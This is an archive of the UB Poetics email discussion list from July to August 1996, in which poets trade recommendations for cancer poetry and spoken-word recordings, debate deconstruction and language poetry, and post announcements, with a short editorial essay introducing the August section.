at home" (Ted Berrigan)

Patrick Pritchett
[redacted]

From: Aldon L. Nielsen
To: Multiple recipients of list POETICS
Subject: Re: indigestible?
Date: Friday, July 26, 1996 3:20AM

<<File Attachment: HEADERS.TXT>>

Last night's digest proved to be a repeat of the previous day --

Did non-digest recipients get anything yesterday?

Who will translate for Bob Dornan if the English only bill passes?

Tried to go to the Beatnik Bookstore in Boulder last week -- the proprietor didn't show up! seemed appropriate --

↑ Index

650. Eliza McGrand- CVA Guest
Re: feelingth/holocaust
Fri 26 Jul 1996

---

re "Is there truly a person on this list who can read his/her own posts without sighing and thinking "why did i say that" -- you get that too? thank god. i thought i was the only one. e

↑ Index

651. **Gabrielle Welford**
Re: English-only Update -- VI (fwd)
Fri 26 Jul 1996

Claro que si! How can we comprendre each other s'il y a seulement one lingua? Newyddion drwg! gab.

On Fri, 26 Jul 1996, Gwyn McVay wrote:

> *Gab, this may be typical of our Zeitgeist, but it betrays a really twisted Weltanschauung and a complete lack of savoir-faire, not to mention joie de vivre. ?Como no?*
>
> *Gwyn*

↑ Index

652. **Maria Damon**
Re: feelingth/holocaust
Fri 26 Jul 1996

In message <[redacted]> UB Poetics discussion group
writes:
> re "Is there truly a person on this list who can read his/her
> own posts without sighing and thinking "why did i say that"
> -- you get that too? thank god. i thought i was the only one.
> e

o geez--truer words were never typed.--md

↑ Index

653. **Michael Leddy**
Lacy and Creeley et al.
Fri 26 Jul 1996

I've been reading, not contributing. Okay, lurking. I'll show my face--

1. I've noticed discussion here and there of Steve Lacy's settings of poems. But I don't think anyone has mentioned that the title track of his fairly recent quartet recording _Revenue_ is presented as a portrait of Robert Creeley. Another piece on _Revenue_, "This Is It," is based on words by James Broughton (no vocal though).

2. The NY Times ran an obituary for Merrill Gilfillan this week, confusing the naturalist father (who died, at 85 or 86) with his son the poet. (I.e., the three books To Creature, Light Years, and River through Rivertown, along with

others, were credited to the elder MG.) Does anyone know whatever became of MG the poet? Is he still writing? The Times said that he lives in Boulder. (I've found all three books here in "east-central Illinois.")

3. There was also a Times obituary for M. L. Rosenthal. (I remember looking at The Modern Poetic Sequence many years back and at some point realizing that the book did not include Louis Zukofsky.)

4. Finally, from last Sunday's Times Book Review, Richard Tillinghast on Seamus Heaney: "He has been and is here for good."

Michael Leddy / Charleston, IL

↑ Index

654. Aldon L. Nielsen
Re: Jazz/Text alert
Sat 27 Jul 1996

Thanks for the tip on new Lacy --

Two additional CDs might be of interest to folk on the list --

Anthony Braxton's _Composition No. 173_ for four actors and 14 instrumentalists just released on Black Saint -- Not sure what I make of the dialogue in this "play," but the recording makes fascinating listening -- Things have come a long way since Hemphill's _Roi Boye_ -- The new Braxton was recorded in 94 in New York --

Not as new, but new to me, is Cecil Taylor's _Iwontunwonsi_, recorded at Sweet Basil way back in '86, but mastered in March of 95 -- Session begins with a Taylor poem -- CD Booklet alson includes a poem, in both English and Japanese versions! -- well, maybe the Japanese isn't a translation of the poem; how would I know -- to further confuse things, the end of the poem in the notes says "to be continued to SSCD-8066 -- Anybody seen that anywhere yet??

↑ Index

655. Aldon L. Nielsen
Re: this crime to the writing fraternity (fwd)
Sat 27 Jul 1996

since one digest seems to have disappeared, I'm sending this through again.

---------- Forwarded message ----------
Date: Tue, 23 Jul 1996 22:17:45 -0700 (PDT)
From: Aldon L. Nielsen <[redacted]>
To: UB Poetics discussion group <[redacted]>

Cc: Recipients of POETICS digests <[redacted]>
Subject: Re: this crime to the writing fraternity

Nobody has identified the segment I posted here from "A Critical Fable" -- to my very great surprise --

Several on the list guessed James Russell Lowell -- Alan noted that internal refs. made that unlikely -- several guessed a 20th century parody of Lowell -- but nobdoy guessed that the poem is by --

AMY LOWELL

By the way, On my copy of _The Complete Poetical Works_ the subtitle reads: "A Militant Crusader for the Cause of Modern Poetry"

but she never, in the entire volume, explains just what did cause modern poetry --

↑ Index

656. **Thomas Bell**
cancer poetry
Sat 27 Jul 1996

Some info in response to request last week:

Audre Lorde's _Cancer Journals_

Dreifuss-Katten lists 12 books of English and German poetry related to Cancer experiences (Dreifuss- Kattan, E. (1990). Cancer stories: Creativity and self-repair. Hillsdale, NJ: The Analytic Press). tom

↑ Index

657. **Eliza McGrand- CVA Guest**
Re: cancer poetry
Sat 27 Jul 1996

---

one of the best books i read in 1990 was helene davis's _chemopoet_, poems written during and about experiencing breast cancer.
e

↑ Index

658. **Bob Holman**
Gloria Tropp
Sun 28 Jul 1996

In a message dated 96-07-15 00:14:45 EDT, you write:

<< Can anyone on this list give me any information about a poet named Gloria Tropp? She was active on the East Village scene in the arly sixties, and was then married to poet Stephen Tropp -- I'm particularly interested in tracking down any publications by this poet -- It's possible her name may have changed since that time --

For that matter, does anyone know Stephen Tropp?

Is Dick Higgins still on this list, who might have encountered them ? >>

Steve and Gloria Tropp, fascinating jazz poets, were around at the first readings I sawin New York in 1969. They were Beat fringe, and good buddies with the exquisite populist, Don Lev. Steve was a big white guy, a messenger, who read surreal jazz bursts hilariously from a red springback binder. Gloria, a beautiful black woman in a long gold fall, would scat behind and in front. My favorite Steve was an "ALice in Wonderland" poem; Gloria's outrageous "How Are Tings in Gloccamorra" was a universe-stopper. The most astonishing performance I saw them give was in 1977 when the NYC Poetyr Calendar had its first Benefit at the Basement Workshop. Gloria, who has a tendency to forsake time when she performs, was last, and turned the event from a Reading to an all-inclusive Performance, complete with umbrellas. Jim Brodey got wild.

Steve dies about ten years ago. Gloria still lives on Upper Riverside Drive, as far as I know, and still performs on occasion.

↑ Index

659. **Tony Green**
Re: cancer poetry
Sun 28 Jul 1996

Anyone in the U.S. read Wystan Curnow's Cancer Diary? That is a must...for one thing, right away from the personal-confessional mode. It asks among other things: "Is there humour in a tumour?"

Tony Green,
e-mail: [redacted]

↑ Index

660. **Burt Kimmelman**
Re: cancer poetry
Sun 28 Jul 1996

Paul Blackburn's *The Journals* has some harrowing and beautiful cancer poetry--very moving stuff; be warned.

↑ Index

661. Aldon L. Nielsen
Re: dp
Mon 29 Jul 1996

New address and phone number as follows:

Aldon L. Nielsen
3055 30th St.
Apt. #2
Boulder, CO 80301

[redacted]

If you've sent material for _lower limit speech_, be patient. I hope to get the next number out early Sept., from Boulder.

and THANKS for the info. on Gloria Tropp. I'm hoping to get an address for her based on this --

↑ Index

662. Susan Schultz
Tinfish Net\work announcement
Mon 29 Jul 1996

Tinfish Net\work announces the publication of red flea's _virtual fleality_, the first in a series of chapbooks of poetry by writers from Hawai'i and the Pacific. red flea's work appears in _Tinfish_ #2 and #3. "red flea biography" reads:

> red flea says
> it's all the same
> never ends
>
> he jumps the gun
> biting the hand
> that feeds him
>
> han shan's poems carved
> on rocks
> and trees
> archilochus epigrams mere fragments
> ishikawa takuboku's ears red with truth
> bukowski's cup empty
> echoing his laughter
> incessant
> ratta tat tat

the dead lecturer
rises from the dead

_don don don ka ra ka ka
don don don ka ra ka ka ka_

and to all who dare enter
waikiki babylon
remembereth westlake
and the dagger
in the hand of aloha

_the silent falling of the leaves of the trees
is a whisper to the living_

The chapbook costs $3.50 and can be obtained from Tinfish Net\work at 1422A Dominis Street, Honolulu, HI 96822. It can also be ordered at [redacted]. In approximately one month the chapbook will be available with a cd of red flea reading his poetry to music (he calls it "amplified poetry"); price to be announced later.

↑ Index

663. FUNKHOUSER CHRISTOPH
cancer poetry
Mon 29 Jul 1996

Kamau Brathwaite's _The Zea Mexican Diary_ chronicles
the six month period between the time he found out his
wife of many years (who took care of nearly all the
details of his life) was terminally ill, & when she died. It's
one of the most emotionally wrenching books I've ever read.
Poetry & prose poetry done up in KB's "sycorax video
style." University of Wisconsin Press, 1993.

cf

↑ Index

664. Robert Drake
Re: cancer poetry
Mon 29 Jul 1996

---

also, _Our Cancer Year_ by Harvey Pekar & Joyce Brabner...

lbd

↑ Index

665. **Bob Gale**
Line Break
Mon 29 Jul 1996

Does anyone here have an info about "Line Break," a poetry radio show produced out of Buffalo, and supposedly available for free to public radio stations across the country? I live in the land of MPR -- which means there's little chance we'll hear it hear -- but I'd like to learn more about this show and how it was/is put together.

Thanks in advance.

Peace,
Bob

\\ The Spoken Word Network: Home of Shout! Newspaper, \\ \\ the Cacophony Chorus, and London Productions \\ \\ 3010 Hennepin Ave S, #245, Minneapolis, MN 55408 USA \\ \\ [redacted] http://www.bitstream.net/london \\

↑ Index

666. **Bob Gale**
spoken word recordings
Mon 29 Jul 1996

I'm working on creating a discography of commercially available spoken word (all styles) recordings for use by a monthly review column that appears in Shout! But been having trouble track down material (it's not like many record stores carry poetry). I've noticed a few recent posts that mention some jazz/text pieces, and if anyone else has any recommendations I'd love to hear them. Referals to any supportive labels, or existing discographies, also appreciated.

Peace,
Bob

\\ The Spoken Word Network: Home of Shout! Newspaper, \\ \\ the Cacophony Chorus, and London Productions \\ \\ 3010 Hennepin Ave S, #245, Minneapolis, MN 55408 USA \\ \\ [redacted] http://www.bitstream.net/london \\

↑ Index

667. **John Geraets**
Re: cancer poetry
Mon 29 Jul 1996

Folks should also check out Wystan Curnow's _Cancer Daybook_ (1989), another set of poems involving cancer treatment & experience.

↑ Index

668. **Pritchett,Pat**
Re: spoken word recordings
Mon 29 Jul 1996

Bob,

This may be of help, or maybe you already know about it. Lindsay Hill has produced several poetry/music CDs featuring Nathaniel Tarn and Nathaniel Mackey. I don't know any details beyond that, but I could get his address for you if you need it.

Also, Jack Collom and musician Ken Bernstein have just released a poetry CD called "Calluses of Poetry." Can't recall label, but again, could get details if so desired.

Patrick Pritchett
[redacted]

From: Bob Gale
To: Multiple recipients of list POETICS
Subject: spoken word recordings
Date: Monday, July 29, 1996 10:56AM

<<File Attachment: HEADERS.TXT>>

I'm working on creating a discography of commercially available spoken word (all styles) recordings for use by a monthly review column that appears in Shout! But been having trouble track down material (it's not like many record stores carry poetry). I've noticed a few recent posts that mention some jazz/text pieces, and if anyone else has any recommendations I'd love to hear them. Referals to any supportive labels, or existing discographies, also appreciated.

Peace,
Bob

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↑ Index

669. **Robert Drake**
Re: spoken word recordings
Mon 29 Jul 1996

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a good place to check, online, would be Fourtner Anderson's *Brazen Oralities*, at http://www.infobahnos.com/~brazen/ . much current work, including hard-to-find cassette & much wonderful canadian content...

lbd

↑ Index

670. **maria damon**
Re: spoken word recordings
Mon 29 Jul 1996

---

bob holman ([redacted]) shd be able to help a lot, w/ the mouth almighty project and all. my guess is that there's more stuff out there than you can shake a lamb's tail at. bests, maria d

In message <v01540b01ae228a49942a@[204.73.77.101]> UB Poetics discussion group
writes:
> I'm working on creating a discography of commercially available spoken word
> (all styles) recordings for use by a monthly review column that appears in
> Shout! But been having trouble track down material (it's not like many
> record stores carry poetry). I've noticed a few recent posts that mention
> some jazz/text pieces, and if anyone else has any recommendations I'd love
> to hear them. Referals to any supportive labels, or existing discographies,
> also appreciated.
>
> Peace,
> Bob
>
> \\ The Spoken Word Network: Home of Shout! Newspaper, \\
> \\ the Cacophony Chorus, and London Productions \\
> \\ 3010 Hennepin Ave S, #245, Minneapolis, MN 55408 USA \\
> \\ [redacted] http://www.bitstream.net/london \\

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671. **David Baratier**
Re: Spoken Word recordings
Mon 29 Jul 1996

Steven Taylor has a CD which just came out

↑ Index

672. **Eliza McGrand- CVA Guest**
Re: spoken word recordings
Mon 29 Jul 1996

---

there is an extraordinary bookstore in the boston area called The Grolier, Poetry Bookshop, [redacted], o 1-800-234-poem. 6 plympton street, cambridge, ma 02138. the bookstore carries ONLY poetry, and some (not much) text about poetry. she has a huge selection of tapes, and is very good at hunting things down. she takes orders from everywhere and ships things. proprieter's name is louisa (blanking on last name) and she is VERY helpful. she actually READS what she sells, and is great at figuring out "who was it who wrote that poem about the rabbit on the rug in front of the fire" kinds of questions. e

↑ Index

673. **maria damon**
Re: spoken word recordings
Mon 29 Jul 1996

---

eliza writes:
> there is an extraordinary bookstore in the boston area called The Grolier,
> Poetry Bookshop, [redacted], o 1-800-234-poem. 6 plympton street,
> cambridge, ma 02138. the bookstore carries ONLY poetry, and some (not
> much) text about poetry. she has a huge selection of tapes, and is very
> good at hunting things down. she takes orders from everywhere and ships
> things. proprieter's name is louisa (blanking on last name) and she is
> VERY helpful. she actually READS what she sells, and is great at figuring
> out "who was it who wrote that poem about the rabbit on the rug in front
> of the fire" kinds of questions.
> e

it's louisa solano; she's great. get her talking about john wieners. or anyone. she says great thing about our own kathryne lindberg ("going to dinner w/ her was like taking a graduate seminar" meaning that it was exhilerating). md

↑ Index

674. **maria damon**
bargain books, mpls
Mon 29 Jul 1996

---

to those in the twin cities area: Banks, a huge discount store that specializes in buying up entire stocks of places that have gone under, etc, has a bunch of excellent books at half price. i got Real: the letters of mina harker and sam d'allesandro, creativity/anthropology, feminist measures, poetry by thylias moss,

patricia smith and dana bryant, as well as some anthologies of caribbean, chinese-american, "chicago saloon" etc., poetry. passed on wm bronk, robt. kelly, keats, wanda coleman (i'd paid full price abt 2 months ago), some goodlooking routledge specials, comparative youth cultures, etc. quel find! plus washcloths and hooks for my closet doors at a fraction of normal. maria d

↑ Index

675. **Bob Holman**
Amygism
Mon 29 Jul 1996

For me, Amy's battles against Pound was plenty good enough to lay claim to Militant Crusader for Modern Poetry. Christ, what are patterns for!

↑ Index

676. **Aldon L. Nielsen**
Re: spoken word
Tue 30 Jul 1996

Has anyone out there ever laid eyes on a recording of four Cleveland area poets (ca late 60s early 70s) that includes selections by Russell Atkins? I've been trying to find this for three years now -- Atkins himself does not have a copy -- can't find it in the usual discographies --

Have seen printed ref. to it at least three times, so I'm reasonably certain it's not a phantom entry --

↑ Index

677. **Bob Gale**
(no subject)
Tue 30 Jul 1996

> *Date: Mon, 29 Jul 1996 13:51:28 CST*
> *From: David Baratier <[redacted]>*
> *Subject: Re: Spoken Word recordings*
>
> *Steven Taylor has a CD which just came out*

Do you have a label or contact info on that?

Thanks,
Bob

\\ The Spoken Word Network: Home of Shout! Newspaper, \\ \\ the Cacophony Chorus, and London Productions \\ \\ 3010 Hennepin Ave S, #245, Minneapolis, MN 55408 USA \\ \\ [redacted] http://www.bitstream.net/london \\

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678. Sylvester Pollet
cancer poems
Tue 30 Jul 1996

Don't miss Ramon Guthrie's long heroic last shot, Maximum Security Ward. Easiest to find in the Persea edition MSW & Other Poems, ed. Sally M. Gall, NY 1984. Sylvester Pollet

↑ Index

679. JOEL LEWIS
melvin tolson
Tue 30 Jul 1996

i found copies of Melvin Tolson's Harlem Gallery & Gallery of harlem Portraits in a used bookstore in the Berkshires. I understand he was a controversial figure in his time -- apparently he was the lone black high modernist. Is anyone doing work on him? what is the take on his work these days? Odd that Tolson in publishing Harlem Gallery in '65 was taking on an High Modernist project that was being abandonned by many of its disciples.

Joel Lewis

↑ Index

680. Douglis Beck
Re: POETICS Digest - 28 Jul 1996 to 29 Jul 1996
Tue 30 Jul 1996

maria--
what bronk did you stumble over @ banks?
& do you have their # so I can call for it?
douglis.

↑ Index

681. maria damon
Re: POETICS Digest - 28 Jul 1996 to 29 Jul 1996
Tue 30 Jul 1996

i cant remember title, it was a "slim volume" w/ glossy cover, a two-word title i believe, talisman house press. i'll give u Banks's phone # but i shd warn you they're a huge place, not a bookstore, just a close-out discount store; specify that it's in the 2nd floor book room, on the poetry table [redacted]. good luck. apparently they had stuff like ginsberg's snapshot poetics hardcover dirt cheap

when they first got the shipment --i'm getting the leftovers, which is good, cuz it's esoterica that folks like us dig... bests, maria d

In message <[redacted]> UB Poetics discussion group writes:
> maria--
> what bronk did you stumble over @ banks?
> & do you have their # so I can call for it?
> douglis.

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682. **maria damon**
Re: conference fwd
Tue 30 Jul 1996

From: Center for Advanced Feminist Studies <[redacted]> Date: Tue, 30 Jul 1996 16:58:15 -0500 To: Multiple recipients of list CAFS-F2 <[redacted]> Subject: CFP: Property, Commodity, Culture

Sixth Annual Cultural Studies Symposium, Kansas State University, Manhattan, Kansas, March 6-8, 1997

PROPERTY, COMMODITY, CULTURE

Keynote Speaker: Peter Stallybrass (University of Pennsylvania), author of The Politics and Poetics of Transgression
Topic: "Marx's Coat"

"Property was thus appalled
That the self was not the same."
-- William Shakespeare

Hark how the Trumpets Sound,
Proclaims the Land around,
The Jubilee;
Tells all the Poor oppressed
Nor more shall they be cess'd,
Nor landlords more molest,
Their Property.
-- Thomas Spence

"I'll--why, I'll go home to Tara tomorrow."
-- Scarlett O'Hara

Property: its very properties are now in question. If we are, as some say, on the brink of virtualization, what becomes of property? What happens when the old address that united name, goods, and legal responsibility refers only to a

city of bits? Or is this in fact only the daydream of postmodern escapists who leave unthought and unthinkable an earth grown poisonous? Is it the ruse of the capitalists, disguising obvious and egregiously material inequities in the distribution of wealth? Even taken in the old-style sense of turf, property remains the pretext for marital, parental, class, and national warfare. We invite discussion on these and a variety of other related topics, proposals of individual papers, panel sessions, and innovative conference formats.

Possible topics:

*Personal property/public responsibility*Visual rights *Tenure *Transnational capital, globalism, *Mode of production, social formation, and deterritorialization and forms of property *The revival of nationalism: cultural *Education as consumer good and economic property *Children: property or persons *Virtual property and copyright *Prostitution and sexwork *Class and turf *Marriage: history and future *Enclosure and commons *Slavery *Property and crime *Privatizing the Internet *New populism and Wise Use *Trademarking species: biotechnology *Fetishism: ritual, commodity, sexuality *Property and propriety *Privatizing public schools *Queer propriety&properties of gender *Black markets *White collar crime: property & penalty *Nation and immigration *Labor and global capital: GATT, NAFTA, *Ownership, subjectivity, identity *Property and performativity *Native American land *Collaboration, credit, and property *Copying, copyright, copyhold

Abstracts for papers and panels: Limit proposals to one page, single spaced, per paper; proposals for non-standard format sessions welcome. Due date: October 4, 1996. Address proposals and queries to Tim Dayton, Department of English, Denison Hall, Kansas State University, Manhattan, KS 66506. Phone: [redacted]. FAX: [redacted]. E-mail: [redacted].

↑ Index

683. **Robert Drake**

Re: bargain books, mpls

Tue 30 Jul 1996

---

maria

who & or what are "chicago saloon" poets/poetries?

also wd be curious to hear more about patricia smith & dana bryant & how their stuff works on paper (patricia is reigning slam poetry queen, dana was a close contender at the national slams a coupla years ago)...

everwandering
lbd

↑ Index

684. Aldon L. Nielsen
Re: Tolson
Wed 31 Jul 1996

Glad to hear you found these books -- MUST read his 50s +Libretto for the Republic of Liberia_ -- Not at all the case that he was adopting "high modernism" just as others were abandoning it --

Yes, people are doing work on Tolosn --

See Robert Farnsworth's bio. of the poet, and his edition of Tolson's newspaper columns, both from U of Missouri Press -- Check out Michael Berube's book on Tolson and Pynchon -- Lorenzo Thomas gave a talk on Tolson at the Orono conference last month, which will appear eventually somewhere -- perhaps in a new edition of Tolson's poems if we have any luck with the National Poetry Foundation, who appear interested at last post-conference -- Hermine Pinson did a good Tolson dissertation a few years back -- and there is one intro. book of criticism on _Harlem Gallery_ (as well as the usual Twayne book) --

More in the works -- Tolson's "high modernism" is not quite the modernism of Eliot, Crane, etc. --

and no, he was not alone in working these veins -- Take a stroll through _New Negro Poets U.S.A._ or Clarence Major's newly issued _The Garden Thrives_ anthology for minimalist clues to a large history --

and a certain Dr. Anna Everett was heard at the American Literature Association not long ago offering the first ever paper on Tolson as film critic -- Carole Doreski, appearing on the same panel, did a good paper on Tolson's 40s poems and newspaper work -- which will appear in a book from Cambridge later on --

SIGNING OFF FOR A FEW WEEKS __ BLESSINGS TO ALL --

↑ Index

685. Christina Fairbank Chirot
address for Christopher Dewdney
Wed 31 Jul 1996

Might anyone have an address for Christopher Dewdney? I'd much appreciate knowing it if you do. His work I'd highly recommend. Several books published by The Figures, three available from SPD.

HAIKU

My roof was once firm
yet now it cannot even
keep the stars out.

(from Alter Sublime)

thanks for any assistance
dave baptiste chirot

↑ Index

686. **Charles Alexander**
gone
Wed 31 Jul 1996

---

dear poetics:

I'll be away for one week starting tonight, and I'm stopping list-serv mail for that period. So if anyone wants to contact me about chax press books or anything, please wait until after August 6.

thank you,

charles alexander
chax press
p.o. box 19178
minneapolis, mn 55419-0178

[redacted]

↑ Index

687. **maria damon**
conference
Wed 31 Jul 1996

---

hey everyone, stay tuned for a call for papers for a conference on CROSS-CULTURAL POETICS organized by Mark Nowak and yours truly, to be held in minneapolis the last weekend of june 1997. bests, maria d

↑ Index

688. **Laura Moriarty**
Re: cancer poems
Wed 31 Jul 1996

The last part of Jerry Estrin's book Rome: A Mobile Home,(Roof, the Figures, O Books, Potes and Poets) "Nudes," was written while he had cancer. And the last

part of my book Symmetry (Avec Books) "Forever" was written during my experience as a caregiver, though I don't think the word cancer appears in either book.

Laura Moriarty
[redacted]

↑ Index

689. Julie Marie Schmid
Re: bargain books, mpls
Wed 31 Jul 1996

Chicago Saloon poetry is spoken word poetry performed at such venues as the Green Mill, Weeds, and at many of the other bars around the city where poetry is being read. I assume Maria is referring to the book *Stray Bullets* which Tia Chucha press (great press run by poet Luis Rodriguez and distributed by Northwestern) published about 6 years ago but is still in print. It includes people like Patricia Smith, Marc Smith, Luis Rodriguez, Carlos Cumpian, E. Donald Two-Rivers, et al. Also, Patricia Smith is fabulous on the page--check out her book Close to Death.

Would love to talk to any and all who are interested about this more--I'm doing a dissertation of public poetries and have been here in the Windy City for three months immersing myself in the poetry scene here and loving every minute of it! Reach me here or at [redacted].

Ciao!

On Tue, 30 Jul 1996, Robert Drake wrote:

> *maria*
>
> *who & or what are "chicago saloon" poets/poetries?*
>
> *also wd be curious to hear more about patricia smith & dana bryant & how their stuff works on paper (patricia is reigning slam poetry queen, dana was a close contender at the national slams a coupla years ago)...*
>
> *everwandering*
> *lbd*

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690. **Tristan D. Saldana**
Language Poetry; Deconstruction; New Criticism
Wed 31 Jul 1996

Would a deconstruction of language poetry -- non-representational language which strives to produce the primary world of experience to the dis-ease of such poetics as Louis Simpson's -- be essentially a New Critical attempt to render a text definitively (or unify textualities within a poem) what Marjorie Perloff has noted as its vitally indeterminate qualifying characteristics?

What does anyone think?

Tristan

↑ Index

691. **maria damon**
Re: bargain books, mpls
Wed 31 Jul 1996

In message <[redacted]> UB
Poetics discussion group writes:
> Chicago Saloon poetry is spoken word poetry performed at such venues as
> the Green Mill, Weeds, and at many of the other bars around the city
> where poetry is being read. I assume Maria is referring to the book
> *Stray Bullets* which Tia Chucha press (great press run by poet Luis
> Rodriguez and distributed by Northwestern) published about 6 years ago
> but is still in print. It includes people like Patricia Smith, Marc
> Smith, Luis Rodriguez, Carlos Cumpian, E. Donald Two-Rivers, et al.
> Also, Patricia Smith is fabulous on the page--check out her book Close to
> Death.
>
yes that's the one. --md

↑ Index

692. **George Bowering**
Re: address for Christopher Dewdney
Wed 31 Jul 1996

> *Might anyone have an address for Christopher Dewdney?*

You can get him c/o his publisher, McClelland & Stewart.

481 University Ave.,
Ste. 900.

Toronto, ON,
M5G 2E9

.....
"The squid is in fact
a carnivorous pocket
containing a pen"
--Robert Bringhurst

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

693. **T-Bone Prone**

Re: Language Poetry; Deconstruction; New Criticism

Wed 31 Jul 1996

On Wed, 31 Jul 1996, Tristan D. Saldana wrote:

> Would a deconstruction of language poetry -- non-representational language
> which strives to produce the primary world of experience to the dis-ease of
> such poetics as Louis Simpson's -- be essentially a New Critical attempt
> to render a text definitively (or unify textualities within a poem) what
> Marjorie Perloff has noted as its vitally indeterminate qualifying
> characteristics?
>
> What does anyone think?

Well, I don't think so. A 'deconstructive' reading itself would be not a unity, but a quarrel amongst possible readings. When Derrida reads a poet, even Celan or Ponge, it is to -affirm- the specificity and singularity of their poetic idioms, without turning that into a 'unified textuality', and surely not to praise anything as vague as 'vitally indeterminate qualifying characteristics'. It's a difficult trick, to think the singular or idiomatic without thinking unity or essence. Not everybody gets it.

> *Tristan*

↑ Index

694. **Ian Wilson**
Re: Language Poetry; Deconstruction; New Criticism
Wed 31 Jul 1996

In a message dated 96-07-31 16:15:12 EDT, Tristan D. Saldana writes:

> *Would a deconstruction of language poetry -- non-representational language which strives to produce the primary world of experience to the dis-ease of such poetics as Louis Simpson's -- be essentially a New Critical attempt to render a text definitively (or unify textualities within a poem) what Marjorie Perloff has noted as its vitally indeterminate qualifying characteristics?*

I think it would be a mistake to assume that the effect of using a post-structural theory on a poetry which can be viewed as a literary manifestation of that post-structural theory is the same as negating the negation -- thus a return to the originary.

Ian Wilson
Loyola Marymount University, Los Angeles
[redacted]
http://users.aol.com/ibar88/private/ian1.htm

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695. **george hartley**
Re: Language Poetry; Deconstruction; New Criticism
Wed 31 Jul 1996

Tristan:

> *Would a deconstruction of language poetry -- non-representational language which strives to produce the primary world of experience to the dis-ease of such poetics as Louis Simpson's -- be essentially a New Critical attempt to render a text definitively (or unify textualities within a poem) what Marjorie Perloff has noted as its vitally indeterminate qualifying characteristics?*

What is "the primary world of experience"? To the best of my knowledge, Nick Piombino is the only poet related to language writing who explicitly uses the language of "experience" (although he has something very specific in mind). Barry Watten talks about "the world" lots in Total Syntax, but again in ways that would undo some uses of the concept. What experiences and what worlds do you have in mind?

The potential connections between a certain deconstruction & New Criticism are in themselves intriguing--I'd want more time to construct something there, but I think I'd begin by questioning how deconstruction would unify textualities: the word "unify" might be the point at which we could distinguish between the

two projects, both of which depend on intense scrutiny (close reading) of the text(s). Does the "its" of "its vitally indeterminate qualifying" refer to deconstruction or language poetry or new criticism?

Maybe I've missed some earlier parts of this thread.

George

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

August 1996

439 messages · Thu 1 Aug 1996 – Sat 31 Aug 1996

August 1996 gave the country the end of its Olympics, both its party conventions, and a president signing away sixty years of federal welfare, and the list, four hundred and thirty-nine letters that month, is largely elsewhere. Its own news came on the fifteenth, when George Starbuck died at home in Tuscaloosa at sixty-five, and Hank Lazer wrote the notice. What occupied the room otherwise was a single, oddly consistent preoccupation, running under threads that appear to have nothing to do with one another: the question of what is underneath a thing.

It began with a wheelbarrow. Christina Fairbank Chirot, opening under an epigraph from Smithson — *"Literal statements often conceal violent analogies"* — pointed out what is obvious once said and invisible until then: Williams breaks his line so that the words on the page are a red wheel, then barrow, and *"Barrow can also mean a grave site marked by stones"*. Twenty-eight letters followed, red becoming read, the most transparent poem in American English turning slowly into a burial mound. Chirot was running the month's other thread at the same time, on speed, by which she meant not velocity but seeing in a poem — perception and scale — and quoted Dickinson for it: *"To close the eyes is travel"*. The two threads are one thread.

The objection was Peter Quartermain's, and it is the best sentence of the month. Reading the poem as a coded burial, he warned, imports an ethnocentrism that makes western material progress the poem's hidden subject; and the real difficulty is that *"any coded reading closes the poem down"*. That is the whole quarrel, and neither side quite won it. Maria Damon, who wrote forty-two times in August, was meanwhile theorising Hannah Weiner's dictated writing as an effect of the trauma of postmodernity and of a Jewish girlhood spent comfortably alongside the Holocaust, and asking the room to help her prove it — an essay due, she admitted, in three days. The list was excavating everything it touched.

In Portland, meanwhile, none of this was happening. The National Poetry Slam ran from the twentieth to the twenty-fifth; Bob Holman signed books with Marc Smith at Powell's; and at half past nine on the Tuesday all five parts of The United States of Poetry were screened at a brew pub cinema, with the sixteen-millimetre print of the last show — Eigner, Creeley, Harryman — run again after the Slam let out. In April this room had spent sixty letters asking whether putting poetry on television dilutes it. The question was now being answered, at eleven at night,

by a projector in a bar, and the list posted the schedule and went back to its grave.

Which leaves Lazer's notice, and the thing in it nobody picked up. Starbuck had directed the writing programmes at Iowa and Boston and lived twenty years with Parkinson's; and, the notice adds in passing, while at SUNY-Buffalo in 1963 he *"initiated a successful challenge of New York's Feinberg"* loyalty-oath law — the statute requiring a teacher to swear what he was not. A poet who refused to sign, at Buffalo, and won. The list is at Buffalo. It read the notice and replied about his age: maria damon that *"65 is much younger than i would have placed him"*, George Bowering remembering a drugstore anthology in 1957. Nobody mentioned the oath. I have set the barrow and the obituary at either end of the month exactly as August sent them, because a room that spent four weeks proving a wheelbarrow was a grave never thought to look under its own address.

— Kristen M. Fabians

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1. Ron Silliman

Tom Mandel's Sonnets

Thu 1 Aug 1996

Tom Mandel's sonnet sequence Prospect of Release is out (Chax Press, $12.95, direct from the publisher at [redacted] or wherever good books are sold...meaning SPD in Berkeley, Woodland Pattern in Milwaukee and through Rod Smith at Bridge in D.C.) and I'm as blown away by this work as I was when I first saw the manuscript. Mandel has found a perfect contemporary value for this form in the elegaic. It's remarkable that one can write 50 elegies to one man, even a step-father, each of them so intense in feeling and ultimately different from one another:

To one who dies the world begins again
followed by words to describe it.
Youth and age, luminous with restraint
cleaved rock or two not joined. The dead

unite the clods of dirt that cover them
with instruction, their bones without
bare hands. I will do for him what

my father did for his. Landscape is
imperfect, moonlight to make it so.
In unwitting contribution the scientist

has taken to himself with love this
dead thing, vibrating the conscious use
of his own social maladjustment to
reveal a living act of revision.

There are some tremendous things going on in this poem (just watch how the "v" is used in the final line for example, how it's played off the liquids there against its being paired with the long "i" and hard "b" two lines earlier) as there are in every poem in this book.

Prospect of Release is also, to the best of my knowledge, the first Chax Press volume in awhile to declare itself "Chax Press Tucson 1996" although that would be a virtual Tucson I do believe -- Charles and his family have not made the move back from Minneapolis quite yet.

Ron Silliman
[redacted]

↑ Index

2. Loss Glazier

Re: Spoken word

Thu 1 Aug 1996

If this hasn't appeared in this thread yet, I'd like to point out spoken word available chez nous - the nous being all of us - available through Linebreak. This is what's cookin'...

These recordings are of an extraordinary quality. Production this attentive is all too rare in spoken word recordings.

---------- [from the Linebreak Programs page]

Clicking an author's or artist's name connects you to a page with their picture, a description of their LINEbreak interview/performance, and their actual LINEbreak program in various soundfile formats. (There is also a link to their EPC Author Home Page, where applicable.)

Available programs:

Robert Creeley
Ray Federman
Steve McCaffery
Lance & Andrea Olsen
Jena Osman
Ron Silliman
Dennis Tedlock
Fiona Templeton
Cecilia Vicun~a

LINEbreak programs with the following people are in production and
will be available here in this
summer:

Loss Pequen~o Glazier & Ken Sherwood
Lyn Hejinian
Barbara Guest
Ben Friedlander
Paul Auster
Bruce Andrews
Peter Straub
